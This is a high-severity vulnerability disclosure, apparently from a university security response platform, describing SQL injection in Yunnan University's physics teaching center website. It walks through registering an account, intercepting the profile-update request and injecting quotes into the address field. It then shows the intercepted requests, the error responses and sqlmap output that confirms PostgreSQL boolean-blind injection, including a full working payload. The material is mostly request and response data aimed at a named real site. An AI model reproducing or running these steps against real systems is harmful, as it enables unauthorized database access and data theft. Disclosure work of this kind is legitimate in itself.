

云南大学

时间	单位	开发商	作者	等级	Rank
2023-11-08 21:14:58	云南大学 t ps://src.sj u.e .cn/list/firm/5 4)	上海万欣计算机信息科技有限公司 (https://src.sjtu.edu.cn/list/company/58)		高危	3

云南大学存在sql注入

URL---http://www.

这里可以注册一个账号：



然后点击个人中心，在这个目录下进行抓包修改参数



物理省级实验教学示范中心

Physical Experiment Teaching Center of Yunnan University

中心首页

中心概况

新闻动态

通知公告

数字资源

实验预约

安全准入

常用下载

规章制度

个人中心

我预约的设备

我收藏的设备

信誉积分

网络硬盘

账号信息

退出系统

您的位置: 个人中心>>>帐户信息>个人信息

个人信息

帐号:

姓名:

邮箱:

电话:

通讯地址:

发票:

发票抬头:

123456@qq.com

test

☒ 普票 ☐ 专票

修改

短信

邮件

站内消息

预约通知

☒

☒

☒

未读提醒

☐

☒

☒

比如通讯地址: test后面拼接单双引号, 发现存在SQL注入报错

Request

Pretty Raw Hex

```
3050c9azbn1qUv0iAlbeqsp11zVmyaotqou3u9nrLonoojveCARSLayveniyptomusARNOI  
C4f5C%2FE6KYSwtgE90ndHUDrTCdVLHs6kXf04je370i7kbgr0x09%2FWZok0tp2490m%2FYe  
wJZrI6BcCZSQXC20%2BHJtIuA9000C8MBija1S4tfzTWPTT5tW2%2B3lbbRp2%2B6LHsSbCaa  
Q5JM5ArUzh88yAig1VchoEtPjwzYrI LXRQL8QIRuv3mp9V2YbZw4FLvA2gVJcdawgzT0xTheu  
6%2BF009Cf4QtSmfAmHfvXvGIhS42rBPvpdXSwdMucob3zgwrGcwbs1hHKjp0jV4%2BqPrb0X  
6uQGIO6gPHwVvIwWAXbG8Fw4yon1uKM0%2FDR%2F8bKztuFBrdNsEwJw17nWAXqd70FJNUun  
wu097S9rkj7VLTpupeLfNahI8X6vBjw%2FRKxStbyJyAOIyoKMCyKtLdo4rZ6cAy4FFoS9Un%  
2Fag9Y%2BTQ1L8wiSU%2BTv0V2SFIKQPurgPWK2%2BWPxwSPTxWZkGj4pM20gWuUfliMuAyuk  
TV9D0%2FyE1fFRALoGdgQ1Wc4IzZ5MGgOLHbArZ5FFQgHprWjjoFMOEXAG9nrLmrHyRACNZ  
2Ru8jYyvtm71hJthOAMCmM0hzr%2F5ipk%3D&__VIEWSTATEGENERATOR=D9A89A7C&  
__EVENTVALIDATION=  
Ct50XqQZ2FMpE%2BSdA%2ByqWzowvqR5A%2F567ZbIHRFYI7tL8VRJs6TRIjuQDS1Vjv3peI  
uYG5XCc%2BxQxZkS6nr9YXdEsPkgQYcom0fz25aun%2B%2FdhjhdOT1V16PG79z7d4w7oJEFF  
pX5SH37NARjEbnJ5cjt417U9W9WrAJWhXyHNwhI7XePvo1FxP1d9bT0VOXAGuaTWthN1UjW2z  
tSACPabbtd3XCn%2BTVNY4mEXQg7A17XgmBgY19etbbuKerGgmNTwyNdJZc9FbgblCeR4aas  
jLFLM%2FrcyMPfs5J9ThaSSb1GRL3xypKIIVuB3pJKjGpYDq7ydQ%2BvX8I6GArlX4a%2BWU  
7P0%2Bnk%2BINbH80%2BGIykeTRrAdQYYJ3SpzRxyMxHc0D9U1A%3D%3D&  
ct100%24ContentPlaceHolder1%24TextBox  
ct100%24ContentPlaceHolder1%24txtEmail  
ct100%24ContentPlaceHolder1%24txtphone-13102123770&  
ct100%24ContentPlaceHolder1%24TextBox10=test'&  
ct100%24ContentPlaceHolder1%24invoicetype=RadioButton6&  
ct100%24ContentPlaceHolder1%24TextBox1=2  
ct100%24ContentPlaceHolder1%24TextBox4=&  
ct100%24ContentPlaceHolder1%24TextBox5=&  
ct100%24ContentPlaceHolder1%24TextBox6=&  
ct100%24ContentPlaceHolder1%24TextBox7=&  
ct100%24ContentPlaceHolder1%24TextBox8=&  
ct100%24ContentPlaceHolder1%24TextBox9=&  
ct100%24ContentPlaceHolder1%24btnOK=+%E4%BF%AE%E6%94%B9+&  
ct100%24ContentPlaceHolder1%24CheckBox1=on&  
ct100%24ContentPlaceHolder1%24CheckBox2=on&  
ct100%24ContentPlaceHolder1%24CheckBox3=on&  
ct100%24ContentPlaceHolder1%24CheckBox5=on&  
ct100%24ContentPlaceHolder1%24CheckBox6=on&  
ct100%24ContentPlaceHolder1%24CheckBox7=on&  
ct100%24ContentPlaceHolder1%24CheckBox8=on&  
ct100%24ContentPlaceHolder1%24CheckBox9=on&  
ct100%24ContentPlaceHolder1%24CheckBox10=on&
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 500 Internal Server Error  
2 Cache-Control: private  
3 Content-Type: text/html; charset=utf-8  
4 Server: Microsoft-IIS/10.0  
5 X-AspNet-Version: 2.0.50727  
6 X-Powered-By: ASP.NET  
7 Date: Wed, 08 Nov 2023 12:54:55 GMT  
8 Connection: close  
9 Content-Length: 2907  
10  
11 <html>  
12 <head>  
13 <title>  
14 运行时错误  
15 </title>  
16 <style>  
17 body{  
18 font-family:"Verdana";  
font-weight:normal;  
font-size:.7em;  
color:black;  
}  
p{  
font-family:"Verdana";  
font-weight:normal;  
color:black;  
margin-top:-5px  
}  
b{  
font-family:"Verdana";  
font-weight:bold;  
color:black;  
margin-top:-5px  
}  
H1{  
font-family:"Verdana";  
font-weight:normal;  
font-size:18pt;
```


Request

```

Pretty Raw Hex
jOSGf7azDh1urVoi1deqsp1tZvmyaotvouzobentfAonoojvegarf3layven1xptumUSARn3i
C4f5C%2FE6KYSwtgE90ndHUDrTCdVLHs6kXf04je370i7kbgRox09%2FWZok0tp2490m%2Fye
wJzr16bCZSQcX20%2BHJt1uA9000C8MBi1ja1S4tfzTWPTT5tW2%2B31bbRp2%2B6LHsBcGaa
Q5JM5ArUzh88yAig1Vch0EtpJwzYr1LXRQL8QiRuv3mp9V2YbZw4FLvA2gVJcdawgzT0xTheu
6%2BF009Cf4QtSmFamHfvXvG1hS42rBPvpdXSwdMucob3zgwrgcwbS1hHKjp0jv4%2BqPrb0X
6uQG106gPhwVv1wAXbG8Fw4yon1uKM0%2FDR%2F8bKztuFBrpdNsEwJw17nWAXqd70FJNUun
wu09759rkj7VLTpupeLfnah18X6vBjw%2FRKxStbyJyA01yoKMCyKtLdo4rZ6cAy4FFoS9Un%
2Fag9Y%2BT0T1L8wiSU%2BT0V2SF1KQPurgPWK2%2BWPxwSPTxWZK6j4pM20gWuUf1iMuAyuk
TV9D0%2FyE1fFRALoGdgqD1Wc41Zz5MG6OLHbArZ5FFQgHprWjjoFMOEXAG9nrLmrHyRACNZ
2Ru8jYyvtm71hJth0AMCmMQhzr%2F51pk%3D&__VIEWSTATEGENERATOR=D9A89A7C&
__EVENTVALIDATION=
Ct50Xq022FMpE%2BSdA%2ByqWzowvqR5A%2F5672b1HRFY17tL8VRJs6TR1juQDS1Vjv3pe1
uYG5Gc%2BxQzKs6nr9YXdeSPkgQYcom0fz25aun%2B%2FdjhD0T1V16PG79z7d4w7oJEFF
pX5SH37NARjEbnJ5c4j4T17Un79WrAJWhXyHNwh17XePvo1Fxp1d9bTOVOXAGuaTWthN1UjW2z
tSACpabbtD3XCN%2BTWNY4mEXQg7A17XgmBgY19etbbuKerGgmNTwyNdJzc9Fbgb1CeR4aas
jLflM%2FrcyMPfs5J9ThaSSb1GRL3xyPK11VuB3pJKjGpYDq7yDQ%2BvX816GAR1X4a%2BWU
7P0%2Bnk%2B1NbH80%2BGlykeTRrAdQYYJ3SpzRxyXhC0D9U1A%3D%3D&
ct100%24ContentPlaceHolder1%24TextBo
ct100%24ContentPlaceHolder1%24txtEma
ct100%24ContentPlaceHolder1%24txtphon
ct100%24ContentPlaceHolder1%24TextBox10=test
ct100%24ContentPlaceHolder1%24invoiceType=RadioButton6
ct100%24ContentPlaceHolder1%24TextBox1=&
ct100%24ContentPlaceHolder1%24TextBox4=&
ct100%24ContentPlaceHolder1%24TextBox5=&
ct100%24ContentPlaceHolder1%24TextBox6=&
ct100%24ContentPlaceHolder1%24TextBox7=&
ct100%24ContentPlaceHolder1%24TextBox8=&
ct100%24ContentPlaceHolder1%24TextBox9=&
ct100%24ContentPlaceHolder1%24btnOK=ME4BF%AE6%94%B9+&
ct100%24ContentPlaceHolder1%24CheckBox1=on&
ct100%24ContentPlaceHolder1%24CheckBox2=on&
ct100%24ContentPlaceHolder1%24CheckBox3=on&
ct100%24ContentPlaceHolder1%24CheckBox5=on&
ct100%24ContentPlaceHolder1%24CheckBox6=on&
ct100%24ContentPlaceHolder1%24CheckBox7=on&
ct100%24ContentPlaceHolder1%24CheckBox8=on&
ct100%24ContentPlaceHolder1%24CheckBox9=on&
ct100%24ContentPlaceHolder1%24CheckBox10=on&
ct100%24ContentPlaceHolder1%24CheckBox11=on&

```

Search...

0 matches

Response

```

Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/html; charset=utf-8
4 Vary: Accept-Encoding
5 Server: Microsoft-IIS/10.0
6 X-AspNet-Version: 2.0.50727
7 X-Powered-By: ASP.NET
8 Date: Wed, 08 Nov 2023 12:54:28 GMT
9 Connection: close
10 Content-Length: 38857
11
12
13
14 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
15 <html xmlns="http://www.w3.org/1999/xhtml">
16 <head>
17 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"
/>
18 <title>
19 </title>
20 <link href="../../customer/css/neiye_index4.css" rel="stylesheet"
type="text/css" />
21 <link href="../../customer/css/css.css" rel="stylesheet" type="
text/css" />
22 <link href="../../customer/hovertree/jquery.hovertree.css" rel="
stylesheet" type="text/css" />
23 <!-- -->
24 <link href="../../customer/css/home_menu.css" rel="stylesheet" type=
"text/css" />
25
26 <script type="text/javascript" src="../../customer/jquery/jquery.js"
>
27 </script>
28 <script type="text/javascript" src="../../customer/layer/layer.js">
29 </script>
30 <script type="text/javascript" src=
../../customer/hovertree/jquery.hovertree.js">

```

Search...

0 matches

最后放到sqlmap跑出sql注入，boolean盲注

```

Parameter: #1*((custom) POST)
Type: boolean-based blind
Title: PostgreSQL boolean-based blind - Stacked queries
Payload: __EVENTVALIDATION=__VIEWSTATE=1czan3W4pj2z+Ue3fDPtPHS1brVpQki+IPRSxz8d3c8XgnW2D1C4pYcYga1KUEBZJ95EJm0dae+AIId/7SAkB0x3VOE7hUD6o1EkDc70TpPz2kH/v6xY
cxbHhKvHTn1Hz3VBQNTY6A1ickUd3i6vaXFGKWy2/zX0+Qoi1GR90xxg57K5bFP3315YI9Q51P6TQr++1kh8t4VbbkpJX3kyopiTnILw2MoeCAzbgJkctIjLextYl3wxx1j1PodY31zYvNylxxc5/RvsYyuUSPhg3BrVS0ewmJnQ0o
9NszMaZHi4QPT4LEbn/wz1cGATf8gpf1/1Sgvzb0Yw/cG9S3f0Zc1861F75A4sBwzf3FscTz0/2Bcau5FjWBdxQcn86AzwmOpACAh7MaLnTf51GW2bzKXFJnEq/gJFz0bYz5tJcsLd/d9TFeffdF7unp/w53Bev2mNTq3sNtdJID
0F6v6TG/e12JmaNd4Iz1grYcng974tqgXKOfdt+oysIsGQ3SRM1snY1ImEA875bUWF6ASWU+Km/7pQ1CAC7vdjJB3VUzswSgLGdJsUD00GvBoJIKFefAP5k02NeJ581zfX6Nd+ji10xvqin/yBS9ghdZ7422GzIL4UPoH4cy/e9n3Pb
aPRvC85pZBYAZRKKNUL1UhnH1FZ0nL14s1ma/TBArThahhzyXhziY28yEFR1LOAcV11fbdVIM81yTiA9ATmfkZ00F+tKZHjDxD5cygsp02GmfYy/B+QERGH1ja04a+9HvpufSUutZKWpIME+Rz1AQ1r0ppU0xyyP3p0E6dkiHk33YJC
YcQ70wnzhajciyP5vVMUPfTs1NyyWtEzVcZFPwQfGtNDtNUWJzIkmjrrV6U1E9NBW9CdsGggu16mS6B4swT6khG1n5Ed6emrZjo9+YbbZA05RqjDjS69JxKdKaFSypu0sZHKkmcBPOnPTTWDQz+udA+UrDHNBPX663y5j7gCeTdF3fR
Re3CxMAHkt+HsTYV5RV8wA10ZcHOISHJT0olpxdv9Vw9pTdtM2SBgBAskyaEGnCNvT6JQTss0S/XnmSbUML4LZzJ8NXLaiFkd/cM/QfxQoUU/FHfkhmT1100nqVVFvYWiXLoptC1EdWuSMAoSZYHCh4yge3JP0X73os8cr+H1QPOV8IaL
BeqSp1fZVMYaoQ6U2SgEhR6h88jvecXrSLa9Vehi9p+OWUSARNS1C4f5C/E6KYSwtgE90ndHUDrTCdVLHs6kXf04je370i7kbgRox09/VZok0tp2490m/YewJzr16bCZSQcX20+HJt1uA9000C8MBi1ja1S4tfzTWPTT5tW2+31bbRp
2+6LHsBcGaaQ5JM5ArUzh88yAig1Vch0EtpJwzYr1LXRQL8QiRuv3mp9V2YbZw4FLvA2gVJcdawgzT0xTheu6+009Cf4QtSmFamHfvXvG1hS42rBPvpdXSwdMucob3zgwrgcwbS1hHKjp0jv4+qPrb0X6uQG106gPhwVv1wAXbG8Fw4
yonluKM0/DR/8bKztuFBrpdNsEwJw17nWAXqd70FJNUunwu09759rkj7VLTpupeLfnah18X6vBjw/RKxStbyJyA01yoKMCyKtLdo4rZ6cAy4FFoS9Un/ag9Y+TQ1L8wiSU+T0V2SF1KQPurgPWK2+WPxwSPTxWZK6j4pM20gWuUf1iMu
AyukTV9D0/yE1fFRALoGdgqD1Wc41Zz5MG6OLHbArZ5FFQgHprWjjoFMOEXAG9nrLmrHyRACNZ2Ru8jYyvtm71hJth0AMCmMQhzr/51pk=&__VIEWSTATEGENERATOR=D9A89A7C&__EVENTVALIDATION=Ct50Xq022FMpE+SdA+YqW
zowswqR5A/5672b1HRFY17tL8VRJs6TR1juQDS1Vjv3pe1uYG5Gc+XqzKs6nr9YXdeSPkgQYcom0fz25aun/djhD0T1V16PG79z7d4w7oJEFFpX5SH37NARjEbnJ5c4j4T17Un79WrAJWhXyHNwh17XePvo1Fxp1d9bTOVOXAGuaTW
thN1UjW2ztSACpabbtD3XCN+TVNY4mEXQg7A17XgmBgY19etbbuKerGgmNTwyNdJzc9Fbgb1CeR4aasjLflM/frcyMPfs5J9ThaSSb1GRL3xyPK11VuB3pJKjGpYDq7yDQ+vX816GAR1X4a+WUP0+mk+1NbH80+G1ykeTRrAdQYYJ3S
pzRxyXhC0D9U1A=&ct100%24ContentPlaceHolder1%24TextBox2=agiu1onghct100%24ContentPlaceHolder1%24txtEmail=122456&gq.com&ct100%24ContentPlaceHolder1%24telephone=15162123996&ct100%24ContentPlaceHo
lder1%24TextBox10=test',SELECT (CASE WHEN (6731=6731) THEN 6731 ELSE 1/(SELECT 0) END)-&ct100%24ContentPlaceHolder1%24invoiceType=RadioButton6&ct100%24ContentPlaceHolder1%24TextBox1=&ct100%
24ContentPlaceHolder1%24TextBox4=&ct100%24ContentPlaceHolder1%24TextBox5=&ct100%24ContentPlaceHolder1%24TextBox6=&ct100%24ContentPlaceHolder1%24TextBox7=&ct100%24ContentPlaceHolder1%24TextBox8=&
ct100%24ContentPlaceHolder1%24TextBox9=&ct100%24ContentPlaceHolder1%24btnOK= ME4BF%AE6%94%B9+&ct100%24ContentPlaceHolder1%24CheckBox1=on&ct100%24ContentPlaceHolder1%24CheckBox2=on&ct100%Cont
entPlaceHolder1%24CheckBox3=on&ct100%24ContentPlaceHolder1%24CheckBox5=on&ct100%24ContentPlaceHolder1%24CheckBox6=on&ct100%24ContentPlaceHolder1%24CheckBox7=on&ct100%24ContentPlaceHolder1%24CheckBox
8=on&ct100%24ContentPlaceHolder1%24CheckBox9=on&ct100%24ContentPlaceHolder1%24CheckBox10=on&ct100%24ContentPlaceHolder1%24CheckBox11=on&ct100%24ContentPlaceHolder1%24CheckBox12=on&ct100%Cont
entPlaceHolder1%24CheckBox14=on&ct100%24ContentPlaceHolder1%24CheckBox15=on&ct100%24HFUserName=6166&ct100%24HFUserID=44drv255muvb1h45psq3k45&ct100%24HFUserType=1&ct100%24HFNodeID=0
[20:56:03] [INFO] the back-end DBMS is PostgreSQL

```

2023 © 联系邮箱: contact@src.sjtu.edu.cn (mailto:contact@src.sjtu.edu.cn)